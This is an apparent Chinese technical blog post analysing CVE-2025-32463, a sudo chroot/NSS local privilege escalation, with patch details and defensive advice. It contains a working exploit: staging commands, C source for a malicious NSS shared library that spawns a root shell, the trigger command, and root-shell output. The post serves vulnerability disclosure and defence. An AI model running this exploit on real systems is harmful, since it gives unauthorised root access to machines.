【高危漏洞】 CVE-2025-32463:Sudo chroot 本地提权漏洞的技术细节深度剖析

漏洞背景与影响

Sudo作为Linux系统中实现最小权限原则的核心工具,允许授权用户以其他用户(通常是root)身份执行命令,同时保留审计日志。2025年6月30日,Stratascale网络安全研究团队(CRU)披露了Sudo中的一个高危本地提权漏洞(CVE-2025-32463),该漏洞存在于Sudo的chroot功能中,可允许任何本地低权限用户在无需配置Sudo规则的情况下,将权限提升至root。

影响范围

  • 漏洞版本:Sudo 1.9.14 至 1.9.17(稳定版)
  • 不受影响版本:Sudo legacy版本(≤1.8.32,因无chroot功能)
  • 验证环境:Ubuntu 24.04.1(Sudo 1.9.15p5/1.9.16p2)、Fedora 41 Server(Sudo 1.9.15p5)

技术原理:chroot与NSS的安全边界突破

要理解该漏洞,需先明确Sudo的chroot实现与Linux Name Service Switch(NSS)机制的交互逻辑。

chroot功能简介

chroot通过修改进程的根目录(将其限制在指定路径),实现对文件系统访问的隔离。例如,FTP服务器可通过chroot将用户限制在/home/user目录,阻止其访问/etc/passwd等系统文件。但Linux man文档明确指出,chroot并非强安全边界,仅改变路径解析逻辑,无法完全沙箱化进程。

Sudo通过-R <目录>--chroot=<目录>选项支持chroot,允许在执行命令前切换至指定根目录。这是一个极少使用的边缘功能,例如在sudoers中配置规则:

lowpriv ALL = CHROOT=/web /bin/bash

此时lowpriv用户执行sudo /bin/bash时,Sudo会先将根目录切换至/web,因此/web/bin/bash及依赖库必须存在。

漏洞根源:1.9.14版本的命令匹配逻辑修改

漏洞源于Sudo 1.9.14对chroot命令匹配逻辑的优化。根据官方更新日志,该版本为增强chroot场景下的命令匹配准确性,在匹配阶段引入了pivot_root()unpivot_root()函数,实现临时切换根目录后再执行命令校验。

这一修改导致了关键安全问题:低权限用户可指定一个自己可控的可写路径作为chroot目录,而Sudo在命令匹配过程中会多次调用chroot(),期间触发NSS操作,最终加载该目录下的恶意库文件。

NSS机制的滥用

NSS是Linux用于统一用户、组、主机等信息查询的框架,其配置文件/etc/nsswitch.conf定义了查询源(如files、ldap)。例如:

passwd: files ldap

表示用户信息查询优先从本地文件(/etc/passwd)获取,再尝试LDAP。关键特性:NSS会将查询源映射为共享库(如ldap对应libnss_ldap.so),查询时自动加载该库。

当Sudo在chroot目录中执行命令匹配时,会触发用户信息校验(如getpwnam),此时NSS会读取chroot目录下的/etc/nsswitch.conf。若该文件由攻击者控制(例如指定passwd: /woot1337),NSS会尝试加载libnss_/woot1337.so.2——这一路径完全由攻击者控制。

漏洞利用过程

核心思路

攻击者通过构造恶意chroot环境,让Sudo在命令匹配阶段加载自定义共享库,执行提权代码。

详细步骤(基于PoC)

  1. 创建临时环境

    STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
    cd $STAGE
    
  2. 编写恶意共享库
    创建woot1337.c,在初始化函数中提权并执行bash:

    #include <stdlib.h>
    #include <unistd.h>
    
    __attribute__((constructor)) void woot(void) {
      setreuid(0, 0);  // 切换为root uid
      setregid(0, 0);  // 切换为root gid
      chdir("/");
      execl("/bin/bash", "/bin/bash", NULL);  // 执行root shell
    }
    

    编译为共享库:

    gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
    
  3. 构造NSS配置
    在chroot目录下创建woot/etc/nsswitch.conf,指定恶意查询源:

    mkdir -p woot/etc
    echo "passwd: /woot1337" > woot/etc/nsswitch.conf
    cp /etc/group woot/etc  # 满足基础依赖
    
  4. 触发漏洞
    执行sudo -R woot woot,Sudo会:

    • 切换根目录至woot(攻击者可控路径)
    • 触发NSS用户信息查询,加载libnss_/woot1337.so.2
    • 恶意库执行setreuidexecl,获得root shell

漏洞验证与PoC分析

成功提权的执行结果

低权限用户执行PoC脚本后,直接获取root权限:

lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
root@prod:/# id
uid=0(root) gid=0(root) groups=0(root),1001(lowpriv)

简化演示代码(chwoot-demo.c)

以下代码模拟Sudo的漏洞行为,验证chroot与NSS的交互风险:

#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <grp.h>
#include <netdb.h>

int main() {
    chdir("/tmp/stage");
    int saved_root = open("/", O_RDONLY);  // 保存原始根目录
    int saved_cwd = open(".", O_RDONLY);   // 保存原始当前目录
    chroot("/tmp/stage");                  // 切换至恶意chroot目录
    chdir("/");
    gethostbyname("woot");                 // 触发NSS查询
    fchdir(saved_root);
    chroot(".");                           // 恢复根目录
    fchdir(saved_cwd);
    getgrnam("got root?");                 // 后续操作已被恶意库劫持
}

修复方案与防御建议

官方补丁:还原命令匹配逻辑

Sudo 1.9.17p1通过以下方式修复漏洞:

  • 移除pivot_root()unpivot_root()函数
  • 命令匹配阶段不再调用chroot(),还原至1.9.14之前的逻辑

补丁对比(sudoers.c):

--- sudo-1.9.17/plugins/sudoers/sudoers.c       2025-06-12 12:12:38.000000000 -0500
+++ sudo/plugins/sudoers/sudoers.c      2025-06-10 11:27:57.493871502 -0500
@@ -1080,7 +1080,6 @@
 int
 set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)
 {
-    struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;
     const char *cmnd_in;
     char *cmnd_out = NULL;
     char *path = ctx->user.path;
@@ -1099,13 +1098,7 @@
     if (def_secure_path && !user_is_exempt(ctx))
        path = def_secure_path;
 
-    /* Pivot root. */
-    if (runchroot != NULL) {
-       if (!pivot_root(runchroot, &pivot_state))
-           goto error;
-    }
-
-    ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
+    ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot);
     if (ret == FOUND) {
        char *slash = strrchr(cmnd_out, '/');
        if (slash != NULL) {
@@ -1122,14 +1115,8 @@
     else
        ctx->user.cmnd = cmnd_out;
 
-    /* Restore root. */
-    if (runchroot != NULL)
-       (void)unpivot_root(&pivot_state);
-
     debug_return_int(ret);
 error:
-    if (runchroot != NULL)
-       (void)unpivot_root(&pivot_state);
     free(cmnd_out);
     debug_return_int(NOT_FOUND_ERROR);
 }

防御建议

  1. 立即升级:安装Sudo 1.9.17p1或更高版本,无临时规避方案。
  2. 禁用chroot功能:该选项已在1.9.17p1中废弃,避免使用sudo -R或sudoers中的CHROOT=规则。
  3. 环境审计
    • 检查/etc/sudoers/etc/sudoers.d/下的runchroot=CHROOT=配置
    • 通过ldapsearch审计LDAP存储的Sudo规则
    • 搜索系统日志中含CHROOT=的sudo执行记录

披露时间线

  • 2025/04/01:漏洞报告提交至Sudo维护者
  • 2025/04/08:MITRE分配CVE-2025-32463
  • 2025/06/09:维护者提交修复补丁
  • 2025/06/30:公开披露及技术细节发布

致谢

漏洞由Stratascale CRU的Rich Mirch发现,感谢Sudo维护者Todd Miller的协作修复。

该漏洞揭示了边缘功能的安全风险:即使是极少使用的chroot选项,一旦与核心系统机制(如NSS)交互,也可能成为提权突破口。及时跟进官方补丁与安全审计,是防范此类漏洞的关键。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值